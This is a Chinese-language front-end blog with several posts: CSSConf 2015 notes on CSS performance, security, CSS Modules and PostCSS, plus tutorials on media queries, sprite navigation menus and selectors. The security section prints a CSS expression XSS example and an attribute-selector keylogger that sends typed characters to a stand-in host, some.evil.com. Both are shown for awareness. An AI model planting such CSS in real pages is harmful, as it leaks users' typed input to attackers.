CSSConf 2015 筆記(三) – Performance 及其他

除了前兩部分 PostCSS 和 CSS Modules 之外,這次 Conf 的方向,怎麼說呢,應該說『分歧』吧。有些人致力於把人工比重減到最低,另一群人繼續苦苦琢磨 hand craft 的奇技淫巧,兩者往完全相反的方向前進…。或許就如神同事所說,CSS 正走到一個摸索未來發展的階段,這沒有不好,代表你可以依照不同的專案需求,自己挑選適合的路。不過還是有些內容對各方都有幫助,整理一下。

CSS Performance

這個 session 講者比較強調的重點,是要減少 CSS 的寫法讓畫面重繪的次數和面積。例如:

  • 將 :hover selector 下在面積比較小的 element 上
  • 在捲動的時候關掉 hover 事件的 listener
  • 注意捲動時有哪些 element 被重繪
  • 把經常更動的 element 放在檔案前面也有幫助
  • 注意 position:fixed 和 scrollable 的 element 會常常被重繪
  • 動畫造成的重繪,可以用以下方法提醒 Browser 要提早 optimize 資源:
    .move-elem {
      will-change: transform;
    }
    .move-elem {
      transform: translateZ(0);
    }
    

《原始投影片》

CSS Class Name Magic and CSS Security

這個 session 講者提出了幾個不為人知但早已存在的 CSS fun facts 外,也提醒 CSS 可能的安全性問題。

  • 可以重複同一個 selector 來取代 !important
    .bar {
      background: blue !important;
    }
    /* 下面選到的也是 .bar */
    .bar.bar.bar.bar.bar {
      background: blue;
    }
    
  • 有空格的 font-family 名稱其實不需要引號
    div {
      font-family: Comic Sans MS;
    }
    
  • 單行註解可以 work,因為不會被正確解析反而達到註解效果
    div {
    /* 正確的註解 */
    // 單行註解
    }
    
  • 用 escape 可以寫出奇奇怪怪的 class name
    螢幕快照 2016-02-19 下午5.02.26
    螢幕快照 2016-02-19 下午5.04.02
  • 最重要的是早期的 CSS expression 或 background-image 可能成為駭客攻擊的管道。例如:
    <meta http-equiv='x-ua-compatible' content='IE=7'>
    <!-- 通常都設成 content='IE=edge',這邊刻意設成 IE=7,瀏覽器就兼容 IE7 了-->
    
    div {
      width: expression(
       open('http://some.evil.com?v=a');
        alert('XSS');
      );
    }
    

    以下是一個用 css 偷 input 資料的 demo
    http://eaea.sirdarckcat.net/cssar/v2/

    它原理是利用屬性讀取 CSS selector [value^=”a”],讀取 26 個字母,每當 user 打一個字母,CSS 就 apply 這個字母的 background-image,但 background-image 的路徑指向駭客網站,剛好把 user 打的值送過去,真的很厲害啊!

     input[value^='a'] { background-image: url('//some.evil.com?v=a'); }
     input[value^='b'] { background-image: url('//some.evil.com?v=b'); }
    

《原始投影片》

廣告

CSSConf 2015 筆記(二) – CSS Modules

CSS Modules 是過去一兩年來 CSS 領域最夯的話題了,尤其是 Web App 成長的速度高過 Content Site,CSS 層疊、覆寫、繼承的特性沒有幫到 Web App 反而造成污染,衍生了維護和 performance 方面的議題。兩位 CSS Modules 的作者從頭說起,分析從 global CSS  到 local CSS 的演變。

Document vs. Web App

所有學習 CSS 的人都知道 CSS Zen Garden,這是 web document 的代表。global CSS 對 document 來講沒什麼不好,每個篇章能簡潔地共用一份樣式。但 document 和 web app 最大的差異在 scale,善於寫樣式的人未必善於處理 scale。web app 結構複雜得多,巢狀和 reuse 也更頻繁,global CSS 有很大機率造成 class name 衝突和意外的繼承。

The End of Global CSS and The Rise of Modular CSS

開發社群過去嘗試過許多手段來解決這個問題,如 SMACSS, OOCSS, SUIT, BEM,甚至 inline styles。Sass 試圖以 @import partials 解決,但它只處理到 CSS,而且最後產出的仍是 global CSS。既然目前 web app 大量仰賴 Angular directive 和 React,作者提出未來(就是現在!)是 “component" 的時代,component 不是新東西,舉個簡單的例子,一個 <select> 下拉選單也可以看成一個 component。

當一個 project 使用許多 component 時,每個 component 的成員包含 js + css + images,所有圖片和 CSS 應該都只讓使用它們 component 看到 (CSS and images should be private to the components)。BEM 命名法與 React 合作良好,BEM 的 B (Block) 相當於 React 的各個 component。螢幕快照 2016-02-12 上午2.04.36

講者認為目前實踐 CSS Modules 的最佳工具是 Webpack,它能建立一條龍的 css/images/js 工作流程。
所以 CSS Modules 不像 Sass, PostCSS 是個 processor 可以用 npm 安裝,它是一種方法論,實踐這個方法論要用多種工具,Webpack 是其中最重要的一種。

在 Webpack 工作流程下,CSS 要在每個 component 裡這樣寫:

/* .myComponent.css */

:local(.className) {
 background: red;
 color: yellow;
}

經 Webpack hash 處理後變成類似這樣:

.myComponent__className_23_aKvs-b8bW2Vg3fwHozO {
  background: red;
  color: yellow;
}

也就是 Webpack 做了 BEM 的事情,但 BEM 是人工手動做, Webpack 是工具自動化地做,用 load javascript module 類似的方法處理 CSS,翻譯成機器看懂的語言。

Webpack 用到的主要套件是 css-loader,加上參數 module 來啟動 CSS Module 的處理:

/* webpack.config.js */

var css = require('css!./myComponent.css');
....
module.exports = {
  module: {
    loaders: [
      ...
      { test: /\.css$/, loader: ExtractTextPlugin.extract('style-loader', 'css-loader?importLoaders=1&localIdentName=[name]__[local]___[hash:base64:5]') }
      ...
    ]
  },
....
}

因此任何 local CSS 都會得到獨一無二的 class name,繼承和層疊特性在 CSS Modules 完全被消滅,你不該期待與其他幾個 class 組合來補足缺少的樣式,每個 component 自己該有的樣式要全部寫好。
(以上只是觀念解說,我 Webpack 並不厲害,請勿當說明書看,看原版文件才是正辦)

https://github.com/css-modules/css-modules
https://github.com/webpack/css-loader

這裏有 demo:
https://github.com/css-modules/webpack-demo

有時候終究某些樣式需要維持 global,或需要用到第三方套件,關鍵字 :global 語法如下:

:global (.bodyClass) {
  background-color: gray;
}

這樣就不會被 Webpack 給予 hash name,而會被 compile 成 .bodyClass {}。
可以用 composes 組合多個來源的 CSS class:

:local(.className) {
  composes: edit hightlight from "./edit.css";
  composes: button from "module/button.css";
  composes: classFromThisModule;
  background: red;
}

在 React 這樣去取用樣式:

/* component/myComponent.jsx */

import styles from "./style.css";
// import { className } from "./style.css";

element.innerHTML = '<div class="' + styles.className + '">';

因為 CSS Modules 是蠻新的觀念,聽眾都很關心後續發展,問的問題都很厲害,記錄一下:
Q:要如何 debug?
A:自己拆分的 component,你應該會知道他來自哪個 module,撞名、不小心繼承問題也不存在,bug 只來自 global css 或是某個特定 module,並沒有交互污染的問題。至於如何拆分 component? It’s art.

Q:從 npm 安裝,到我的網站可以有個會動的 jquery date picker 這樣的東西需要多久?
A:jquery 套建中 CSS 某些部分可以當作 global 處理。

Q:可以和 bootstrap 這類的 framework 一起用嗎?
A:bootstrap 的思維是 global CSS,我們期待會有新一代的、符合 modular 思維的 framework 被發展出來。

看起來尚未有任何 framework 可以快速上手,只有自製的 CSS 有可能以 CSS Modules 的方法來管理。

《原始影片》


CSSConf 2015 筆記(一) – PostCSS

PostCSS 剛推出時定位很令人疑惑,它不像 Sass, Less 是 Preprocessor,而比較像是一個平台,或者說是 API,本身沒有特定的功能或語法,但可以依照需求裝上各式各樣的 plugin,整合於 node 流程。講者頻頻把 “PostCSS does nothing”當作笑點其實也只有三分是事實啦。幾個基本的部分與一般 CSS 沒什麼不同,除了 :root 可能在宣告變數時當作 scope 來用。

  • root
    :root {
     --array: foo, bar, baz;
     --from: 1;
     --to: 3;
     --icon-exclude: 2;
     --color-danger: red;
    }
    
  • rules
  • declaration
  • comment

既然“PostCSS does nothing”,他到底有什麼好處呢,又比 Sass 好在哪裡呢?因為他是純 javascript 生態系,不需像 Sass/Compass 需要安裝 Ruby,在整個 node 環境中可以和 javascript framework 或 Plugin 用同一套流程來管理。(話說 Ruby 難道不能形成自己的生態系嗎?也許不幸輸給 javascript 了 )

既然 PostCSS 唯有開外掛才能威力百倍,就來介紹幾個不錯的外掛:

  • postcss-simple-vars – 這個是一定要裝的,用 $ 宣告變數(PostCSS 變數宣告是 —foo)
  • cssnano – minify css
  • cssnext –  可使用未來的 CSS(4?) 語法,套件會 compile 成目前的語法

為喜愛寫 Sass 的人所設計,只是它不需要 Ruby

  • precss –  可以寫 preprocessor 的語法,這點可以用來整合舊專案的 code
  • cssnesting – 可以寫像 Sass 的巢狀語法
  • postcss-at-rules-variables – 可以寫類似 Sass “@"小老鼠語法,用在簡單的迴圈、if/else 等  https://github.com/GitScrum/postcss-at-rules-variables

搞怪套件:

這些套件都可以透過 npm 安裝,https://www.npmjs.com/search?q=postcss

$ npm install --save-dev gulp-postcss

用 gulp 來管理 workflow:

var postcss = require('gulp-postcss');
gulp.task('styles', function () {
  return gulp.src('path/to/dev/style.css')
  .pipe(postcss([]))
  .pipe(gulp.dest(path/to/prod))
});

 

《原始影片》

Mobile Web 前端技術筆記(二): Media Queries 與 CSS

Media Queries

《基礎》

media queries的作用在偵測device的尺寸和方向等,指定相對應的CSS檔。使用情境粗分為兩種,一種是用於mobile compatible的網頁,也就是桌機版與行動版共用一份html文件,但要套用不同的排版;另一種是做行動版專用網頁,但想要依照不同的行動裝置給予適當的版面設定。

《用法》

HTML

<link rel="stylesheet" media="screen and (min-width: 400px) and (max-width: 700px)" href="example.css" />
CSS
@media screen and (min-width: 400px) and (max-width: 700px) {
    .selector1{...}
    .selector2{...}
}

意思就是在視窗寬度大於400px但小於700px時,套用example.css這個CSS檔。

CSS檔中,@media後面列的條件就是對應HTML<link media=“…..”> 引號內的東西。在@media{}大括號之內,就如往常一樣撰寫此media條件下的CSS設定。

import CSS的寫法也一樣:

@import "screen.css" screen and (min-width: 400px) and (max-width: 700px)

query條件的用法

@media [media type] and [(media feature)]

單一條件

例:如果視窗最小寬度為500px,就套用這些CSS

@media screen and (min-width:500px) {.....}

例:如果視窗為直立,就套用這些CSS

@media screen and  (orientation: portrait) {.....}

兩者需同時符合

例:如果視窗在400px和700px之間,就套用這些CSS

@media screen and (min-width: 400px) and (max-width: 700px)

兩者符合一種即可

例:如果是彩色螢幕或彩色投影機兩者之一,就套用這些CSS

@media screen and (color), projection and (color) {.....}

以not/only 迴避或強制舊版瀏覽器執行

<link rel="stylesheet" media="not|only screen and (color)" href="example.css" />

某些舊版瀏覽器只能讀media type(screen,projector等等),不會讀media feature,也不會讀not或only,因此也不會套用此media query後的CSS檔。

《屬性和值》

  • media type 有以下幾種:
    all | aural | braille | handheld | print | projection | screen | tty | tv | embossed
  • media features
    * (max-或min-)width:[數字]
    * (max-或min-)height:[數字]
    * (max-或min-)device-width:[數字]
    * (max-或min-)device-height:[數字]
    * orientation:portrait 或 landscape
    * aspect-ratio:[比值]
    * (max-或min-)device-aspect-ratio:[比值]
    * color
    * color-index
    * monochrome
    * (max-或min-)resolution:[數字]dpi
    * scan(只對tv)
    * grid

這方面W3C文件也還在W3C Recommandation的階段,也不算進入Standard

很多人關心handheld這個media type,但事實上它已無法有效偵測是否為手機browser。前一代智慧型手機很多用Opera上網,Opera確定是可以辨認這個media type的。

會讀handheld的手機瀏覽器有:
OpenWave, Nokia lite-web browsers, Netfront, Digia, BlackBerry browser, Opera Mini until v4, Opera Mobile until v9,Palm’s Blazer, Nokia S40 browser, IEMobile 6.x and 8.x

(http://www.alistapart.com/articles/putyourcontentinmypocket/)

CSS支援度

目前大部分手機瀏覽器與桌機瀏覽器支援的CSS相差不大,但有需要慎用的的CSS屬性

  • overflow
  • position:fixed(iphone safari確定不支援)
  • font-family:手機上的字型比桌機少
  • font-size: 用small, medium, large,最好不要用px設死
  • margin與padding的算法可能有個別差異

box model的處理

手機版網頁在自動適應畫面寬度時,目前標準的padding算法會是個困擾,因為如果width:100%,加上padding可能就破版了,但不使用width:100%又很難估計內容的實際寬度。這時可考慮回復到IE6模式,把border和padding的移到box內部,如此一來宣告width為100%就能保證不破版。

div{
     -webkit-box-sizing: border-box; /* Safari/Chrome, other WebKit */
     -moz-box-sizing: border-box;    /* Firefox, other Gecko */
     box-sizing: border-box;
}

*註:border-box是IE6的模式,content-box是目前的標準模式

行動裝置的CSS reset

行動裝置頻寬寶貴,即使做CSS reset也要保持精簡只reset基本元素。目前網路上所有mobile CSS reset都指向一份文件,

http://www.vcarrer.com/2010/11/css-mobile-reset.html

他的CSS reset只有短短幾個元素而已

/* CSS Mobile Reset */
html, body
{
 margin: 0;
 padding: 0;
 border: 0;
}

body
{
 font-family:Arial,  sans-serif;
 line-height:1.5;
 font-size:16px;
 background: #fff;
 padding:5px;
 color: #000;
 word-wrap: break-word;
 -webkit-text-size-adjust: none;
}

h1, h2, h3, h4, h5, h6{ font-weight: normal; }

p img { float: left; margin: 0 10px 5px 0; padding: 0; }

img { border: 0; max-width: 100%; }

table { width:auto; border-collapse: collapse;border-spacing: 0; }

簡單來說就是保持輕巧,不需要的元素就不重設。

《備註》

media queries基本上與user agent無關,它僅以辨認當前browser的狀況來因應,而非透過辨認user agent來執行不同的動作。

《資料來源》

  1. W3C文件 http://www.w3.org/TR/css3-mediaqueries/
  2. 某網友翻譯W3C文件
    http://zetajames.wordpress.com/2010/02/26/css3-media-queries/
  3. media feature整理表 http://reference.sitepoint.com/css/mediaqueries
  4. 會讀handheld的手機瀏覽器 http://www.alistapart.com/articles/putyourcontentinmypocket/
  5. box model的處理 http://css-tricks.com/box-sizing/
...

CSS專題:用一張背景圖做navigation(二)

上一篇提到的陽春navigation,如果在視覺要求高的情況下是不夠用的,很多時候整個選單需要用瀏覽器不支援的字型顯示,這時候一方面要顧及選單的語意,又要做出好看的選單,有必要將陽春navigation升級一下。

準備一張新的圖片,跟之前不同的是,現在整個navigation的外觀都要藏到背景來。

CSS的好處就在這裡,html結構無需大改,只要加上一些class。現在每個選項要有自己的class(item1~item4),這樣才能為它們指定不同的背景圖。

【HTML】

<ul class="menu">
<li class="item1″><a href="#">About</a></li>
<li class="item2″><a href="#">Product</a></li>
<li class="item3″><a href="#">Service</a></li>
<li class="item4″><a href="#">Contact</a></li>
</ul>

要注意的是,因為要使所有項目有固定的長寬(100×30),所以要將list的<a>轉成block。長寬的設定對inline element不是頂有效,<a>在預設情況下就是一個inline element。

要將已變成block的<a>排成橫向,使用float:left。

【CSS】

.menu li{
list-style-type:none;
}
.menu li a{
display:block;
width:100px;
height:30px;
float:left;
background:url(“menubg2.gif") left top no-repeat;
}

重頭戲來了,選單的框架已經出來,要把上面的文字藏起來,只顯示圖片。

【CSS】

.menu li a{
display:block;
width:100px;
height:30px;
float:left;
background:url(“menubg2.gif") left top no-repeat;
text-indent:-9999px;
}

用text-indent就可以完美的把list文字移出視窗之外,但仍保留在html原始碼之中。而且連結感應區仍留在原地不受影響。接下來要顯示選項各自正確的圖,只要用上一篇提到的背景圖定位方法,來設定各選項的圖片及rollOver動作了。

完整的CSS如下。

<style type="text/css">
<!–
.menu{
margin:0;
padding:0;
}
.menu li{
list-style-type:none;
}
.menu li a{
display:block;
width:100px;
height:30px;
float:left;
background:url(“menubg2.gif") left top no-repeat;
text-indent:-9999px;
}
.menu li.item2 a{
background:url(“menubg2.gif") -100px top no-repeat;
}
.menu li.item3 a{
background:url(“menubg2.gif") -200px top no-repeat;
}
.menu li.item4 a{
background:url(“menubg2.gif") -300px top no-repeat;
}
.menu li.item1 a:hover{
background:url(“menubg2.gif") left -30px no-repeat;
}
.menu li.item2 a:hover{
background:url(“menubg2.gif") -100px -30px no-repeat;
}
.menu li.item3 a:hover{
background:url(“menubg2.gif") -200px -30px no-repeat;
}
.menu li.item4 a:hover{
background:url(“menubg2.gif") -300px -30px no-repeat;
}
–>
</style>

CSS專題:用一張背景圖做navigation(一)

不要再用table做選單了!這樣我們都會變成爆肝木乃伊…

table時代做選單,都是把每個項目切成一個個小塊,再填進table cell裡。如果還有rollOver動作,每個項目就要載入兩個小塊,有四個選項,就要載入八個小塊…這樣的壞處至少有三點:

  1. 增加了過多的HTTP request。
  2. 在html code裡一開始只看到一堆圖片連結,不管在語意或SEO上都是大不利因素。
  3. 每次改選單項目,又要將圖片重新切成n小塊。

先來做個陽春版的css navigation。選單項目以list來建構,並直接將list下的項目當做顯示文字。

【HTML】

<ul class="menu">
<li><a href="#">About</a></li>
<li><a href="#">Product</a></li>
<li><a href="#">Service</a></li>
<li><a href="#">Contact</a></li>
</ul>

這樣顯示的list是會換行的,為了把它變成橫向的選單形式,CSS中要把display轉成inline,同時把預設的bullet和margin、padding等等都去掉,好控制字出現的位置:

【CSS】

.menu ul{
list-style:none;
}
.menu li{
display:inline;
margin:0;
padding:0;
}

事實上list僅能在排列位置上產生作用,真正的重頭戲在每個list項目加上連結後,控制<a>才能達成感應區和rollOver的動作。這時候要準備一張背景圖,將rollOver前後的情形都排好在裡面,到時只要載入這張圖,就可以變成所有項目共同資源。

然後把它當作<a>的背景圖,left top表示將顯示背景的原點定在(0,0)的地方,no-repeat表示背景不並排。padding的作用在這裡是將<a>周圍的空間撐大以便感應,只要不超過圖片的大小,圖片邊緣就不會露出。

【CSS】

.menu li a{
background:url(“menubg1.gif") left top no-repeat;
margin:0;
padding:5px 15px;
}

指定滑鼠移過時產生的動作:將顯示背景的原點設定為往下30px之處,這樣rollOver動作時背景就會改變。

.menu li a:hover{
background:url(“menubg1.gif") left -30px no-repeat;
}

最後再做一些顏色和位置的修飾,就大功告成了。

這個選單的好處是直接用文字顯示,且只用一套背景,容量非常小,html的語意也有顧及。缺點是每個選項會隨著文字長短不同而變化,無法統一。下一篇再來記載更好的做法。

完整的CSS如下。

<style type="text/css">
<!–
.menu ul{
list-style:none;
}
.menu li{
font-size:12px;
font-family:Arial;
display:inline;
margin:0;
padding:0;
}
.menu li a{
color:#aaa;
text-decoration:none;
background:url(“menubg1.gif") left top no-repeat;
margin:0;
padding:5px 15px;
}
.menu li a:hover{
background:url(“menubg1.gif") left -30px no-repeat;
}
.menu li a:link,
.menu li a:hover,
.menu li a:visited,
.menu li a:active,
{
text-decoration:none;
}
–>
</style>

CSS筆記(三):進階selector

進階selector

1.指定屬性selector

例1:
【HTML】
<form name="form1″>
<input type="text" name="client">
<input type="submit" value="送出">
</form>
【CSS】
input[type="text"] {background-color: blue}

意思是只有type為"text"的input(輸入欄位),才會套用此設定。

例2:
【HTML】
<p class="main">這是一個段落</p>
【CSS】
p[class="main"] {font-weight:bold; font-size:1em}

意思是只有class為"main"的p,才會套用此設定。

2.子嗣selector

例:
【HTML】
<div>
<a href="#content">Skip to content</a>
<h1>Title</h1>
<p>paragraph</p>
</div>
【CSS】
div >a{text-indent:-9999px}

意思是只有div下面第一階層的a,才會套用此設定。

3.相鄰selector

例:
【HTML】
<h2>次標題</h2>
<p>這是段落這是段落</p>
【CSS】
h2+p{ font-size:110; border:1px solid #000}

意思是只有與h2相鄰的p,才會套用此設定。